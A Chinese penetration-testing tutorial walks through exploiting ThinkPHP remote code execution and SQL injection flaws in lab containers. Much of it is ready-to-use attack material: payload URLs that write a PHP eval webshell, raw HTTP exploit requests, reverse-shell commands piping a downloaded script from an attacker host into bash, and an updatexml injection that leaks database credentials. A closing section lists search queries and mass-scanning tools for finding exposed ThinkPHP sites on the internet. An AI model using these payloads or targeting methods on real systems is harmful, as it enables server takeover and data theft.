系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
服务框架是指某领域一类服务的可复用设计与不完整的实现,与软件框架不同的是,服务框架同时体现着面向服务,一个服务框架可以分为两个主要部分:服务引擎、引入的外部服务。
ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。可想而知框架连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,框架的安全稳定运行也直接决定着业务系统能否正常使用。如果框架被远程代码执行攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到学习Thinkphp简介、Thinkphp安装、Thinkphp任意代码执行分析、Thinkphp远程代码执行漏洞、Thinkphp自动化武器攻击等等操作,如果连Thinkphp都不会安装操作提权等,怎么拿下对方服务器?
二、Thinkphp简介
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可在Windows和Linux等操作系统运行,支持MySql,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。
ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架,这个框架曾经爆出各种RCE和SQL注入漏洞。我们将带来ThinkPHP各个版本的漏洞分析文章。
三、Thinkphp本地安装
1、官网下载
http://www.thinkphp.cn/down.html
2、本地搭建Thinkphp
1)安装vc9_x86(必装)
2)安装phpStudy20161103
3)开启php
4)将下载到的thinkphp.x解压,可以得到下图中的内容,把所有文件复制到网站的根目录,也就是之前设置中那个WWW\web的文件夹内:
5)输入域名,这里是本地,可以输入127.0.0.1或者localhost或者本地IP都行,网站目录可以是你硬盘上的任何文件夹,默认文职是phpstudy安装目录下的WWW/web文件夹,点击新增后再点击保存设置并生成配置文件即可:
6)下面来修改一下站点的运行目录,由于thinkPHP的入口是在public下,所以这里需要修改一下,点击”其他设置“->打开配置文件->vhosts-conf:
7)配置文件会以一个文本文件的方式打开,你会看到documentroot和directory的路径是一样的,只需要在documentroot后面加上\public就可以了,点击保存:
8)远程访问测试
成功搭建!
四、Thinkphp本地复现
1)验证POC:
http://192.168.253.107/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
2)写入一句话:
http://192.168.253.7:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%64%61%79%75%5d%29%3b%3f%3e
3)成功写入一句话:
4)蚁剑上线:
五、Vulhub-Thinkphp复现
1、ThinkPHP 2.x 任意代码执行漏洞
1)漏洞简介
(1)漏洞原理:
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号
中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
(2)影响版本:
ThinkPHP 2.x
2)漏洞原理详解
由于是preg_replace这个函数引起的漏洞,所以先来看看preg_replace这个函数,这个函数是个替换函数,而且支持正则,使用方式如下:
preg_replace('正则规则','替换字符','目标字符')
这个函数的3个参数,结合起来的意思是:如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
下面是搜索到的关于/e的解释:
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
本地测试直接使用下面这行代码测试即可,可使用在线PHP沙箱来测试。
沙箱地址:
http://sandbox.onlinephpfunctions.com/
<?php
@preg_replace('/test/e','print_r("dayu");','just test');
这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了!
3)漏洞启动
(1)开启ThinkPHP 2.x 任意代码执行漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
3)代码审计-底层分析思路详解
(1)进入docker内分析代码
sudo docker ps
sudo docker exec -ti cb501aa8dbe7 bash
find . -name '*.php' | xargs grep -n 'preg_replace'
(2)发现存在preg_replace函数的脚本:
./ThinkPHP/Mode/Lite/ThinkTemplateCompiler.class.php
./ThinkPHP/Mode/Lite/Dispatcher.class.php
./ThinkPHP/Lib/Think/Template/ThinkTemplate.class.php
./ThinkPHP/Lib/Think/Template/TagLib.class.php
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php
./ThinkPHP/Common/extend.php
./ThinkPHP/Common/functions.php
(3)存在/e修饰符的脚本
./ThinkPHP/Mode/Lite/Dispatcher.class.php:115: $res = preg_replace('@(\w+)'.C('URL_PATHINFO_DEPR').'([^,\/]+)@e', '$pathInfo[\'\\1\']="\\2";', $_SERVER['PATH_INFO']);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57: $rule = preg_replace('/{\$(_\w+)\.(\w+)\|(\w+)}/e',"\\3(\$\\1['\\2'])",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:58: $rule = preg_replace('/{\$(_\w+)\.(\w+)}/e',"\$\\1['\\2']",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:60: $rule = preg_replace('/{(\w+)\|(\w+)}/e',"\\2(\$_GET['\\1'])",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:61: $rule = preg_replace('/{(\w+)}/e',"\$_GET['\\1']",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:68: $rule = preg_replace('/{|(\w+)}/e',"\\1()",$rule);
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:224: $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:239: $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', str_replace($matches[0],'',$regx));
./ThinkPHP/Common/extend.php:215: $str = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);
./ThinkPHP/Common/functions.php:145: return ucfirst(preg_replace("/_([a-zA-Z])/e", "strtoupper('\\1')", $name));
有以上这些都存在/e修饰符的脚本!!
(4)根据漏洞描述,有漏洞的代码位置在:
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
根据代码注释,了解到这个是thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。所以有必要了解一下thinkphp的关于这块功能的使用。
(5)thinkphp 应该也是MVC框架,所有的请求都是根据路由来决定的。而Dispatcher.class.php就是规定如何来解析路由的这样一个类。
类名为`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo() 获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称
4)漏洞复现
(1)访问靶机:
http://192.168.253.7:8080/
(2)验证漏洞是否存在
index.php?s=/index/index/name/${@phpinfo()}
直接访问:
http://192.168.253.7:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
即可执行phpinfo():
!
(3)构造poc
http://192.168.253.7:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}
(4)反弹shell
准备:
bash -i >& /dev/tcp/192.168.253.27/8888 0>&1
python -m SimpleHTTPServer 80
创建好bash和开启python http模式!
1=system("curl 192.168.253.27/shell.sh | bash");
成功上线!!
(5)直接菜刀连接的payload:
http://192.168.253.7:8080//index.php?s=a/b/c/${@print(eval($_POST[1]))}
正常交互连接!
2、Thinkphp5-5.0.22 / 5.1.29远程执行代码漏洞
1)漏洞简介
(1)漏洞原理:
ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。
2018年12月10日中午,thinkphp官方公众号发布了一个更新通知,包含了一个5.x系列所有版本存在被getshell的高风险漏洞。
(2)影响版本:
5.0.22 / 5.1.29
2)漏洞启动
(1)开启5.0.22漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
3)漏洞复现
(1)访问靶机:
http://192.168.253.7:8080/
(2)payload判断是否存在远程代码执行漏洞
http://192.168.253.7:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
(3)任意代码执行
http://192.168.253.7:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
(4)写入webshell
http://192.168.253.7:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码
<?php eval($_POST[dayu]);?>
http://192.168.253.7:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%64%61%79%75%5d%29%3b%3f%3e
成功上线!!
3、ThinkPHP5 5.0.23远程执行代码漏洞
1)漏洞简介
(1)漏洞原理:
ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5.0(<5.0.24)中,框架在获取请求方法时会错误地对其进行处理,就是在获取method的方法中没有正确处理方法名,这使攻击者可以调用Request类的任何方法,攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
(2)影响版本:
Thinkphp 5.0.0~ 5.0.23
2)漏洞启动
(1)开启5.0.23漏洞
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
3)漏洞复现
(1)访问靶机:
http://192.168.253.7:8080/
(2)验证漏洞是否存在
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.253.7:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
(3)反弹shell
python -m SimpleHTTPServer 80
nc -vlp 8888
curl 192.168.253.27/shell.sh | bash
获得反弹shell!
2、ThinkPHP5 SQL注入漏洞和敏感信息泄露漏洞
1)漏洞简介
(1)漏洞原理:
传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
(2)影响版本:
ThinkPHP < 5.1.23
2)源码分析
漏洞代码分析:
<?php
namespace app\index\controller;
use app\index\model\User;
class Index{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
}
}
由上述代码可知,这里用助手函数input定义了参数ids的类型是数组。
protected function parseMhere ($where, $options)
{
$whereStr =
$this -> buildWhere($where, $options);
if (! empty($options['soft_delete '])) {
list ($field, $condition) = $options['soft_delete'];
$binds = $this -> query ->getF ieldsBind($optlons);
$whereStr = $whereStr ? '(' .$whereStr . ') AND ' : ' ';
$whereStr = $whereStr. $this -> parseWhereIten($field, $condition, ' ', $options, $binds);
}
return empty($wherestr) ? ' ' : ' WHERE ' . $uhereStr;
}
接着去找where(‘id’, ‘in’, $ids)定义的内容,找到了最核心的方法buildWhere 和 parseWhereItem!
接着找到定义’in’的位置!
<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {
// 处理带非单词字符的字段名
$bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查询
if ($value instanceof \Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
$bind = [];
$array = [];
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}
这段代码当引入了in 或者 not in的时候遍历value的key和value。而key在绑定编译指令的时候又没有安全处理,所以导致了在预编译的时候SQL异常。
sudo docker ps
sudo docker exec -ti cb501aa8dbe7 bash
find . -name '*.php' | xargs grep -n 'key'
3)漏洞启动
这里乌班图有问题无法启动,转换到kali上!
(1)开启ThinkPHP5 SQL注入漏洞
systemctl start docker
sudo docker-compose up -d
(2)验证是否开启
sudo docker ps
3)漏洞复现
(1)访问靶机:
http://192.168.253.9/
(2)验证漏洞是否存在
访问以下URL,如果看到显示的用户名,表明环境已成功运行:
http://192.168.253.9/index.php?ids[]=1&ids[]=2
运行成功!
(3)构造poc,填到password框:
打开页面:
http://192.168.253.9/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
发现成功显示的消息:
枚举到mysql数据库用户名密码!
六、Thinkphp自动化武器
1、Thinkphp综合利用工具
2、thinkPHPBatchPoc群扫
3、TPscan
1)本地windows-Thinkphp5.0.22
2)本地LINUX-Thinkphp攻击
4、AttackWebFrameworkTools
项目地址:
https://github.com/Anonymous-ghost/AttackWebFrameworkTools
网站攻击框架必须安装.net framework 4.5以及以上版本!!!
在相对应的脚本中填入对应信息即可!!
可看到成功扫描Thinkphp漏洞情况!
5、Thinkphp攻击武器
七、实战Thinkphp攻击
1、搜索大法
header="thinkphp"
拓展:
1、title="后台管理" 搜索页面标题中含有“后台管理”关键词的网站和IP
2、header="thinkphp" 搜索HTTP响应头中含有“thinkphp”关键词的网站和IP
3、body="管理后台" 搜索html正文中含有“管理后台”关键词的网站和IP
4、body="Welcome to Burp Suite" 搜索公网上的BurpSuite代理
5、domain="itellyou.cn" 搜索根域名中带有“itellyou.cn”的网站
6、host="login" 搜索域名中带有"login"关键词的网站
7、port="3388" && country=CN 搜索开放3388端口并且位于中国的IP
8、ip="120.27.6.1/24" 搜索指定IP或IP段
9、cert="phpinfo.me" 搜索证书(如https证书、imaps证书等)中含有"phpinfo.me"关键词的网站和IP
10、ports="3306,443,22" 搜索同时开启3306端口、443端口和22端口的IP
11、ports=="3306,443,22" 搜索只开启3306端口、443端口和22端口的IP
2、实战测试
存在日志泄露:
使用whatweb查看网站信息:发现是ThinkPHP框架:
八、总结
今天学到认知Thinkphp简介、Thinkphp安装、Thinkphp任意代码执行分析、Thinkphp远程代码执行漏洞、Thinkphp自动化武器攻击等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!
服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(下)-> 服务攻防之中间件GlassFish(总)-> 服务攻防之中间件WebSphere(总)-> 服务攻防之框架Struts2(上)-> 服务攻防之框架Struts2(下)-> 服务攻防之框架Thinkphp(总)-> 服务攻防之框架Shiro(总)......
接下来在《服务攻防之框架Shiro(总)》会接触到Shiro简介、本地搭建Shiro、Linux环境Shiro渗透总结、Windows环境Shiro渗透总结、Shiro自动化武器、CVE-2020-11989:Apache Shiro权限绕过复现、Apache Shiro 认证绕过漏洞(CVE-2020-1957)等等渗透操作,如何提权渗透等方法,请看下篇服务攻防之框架Shiro篇下章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余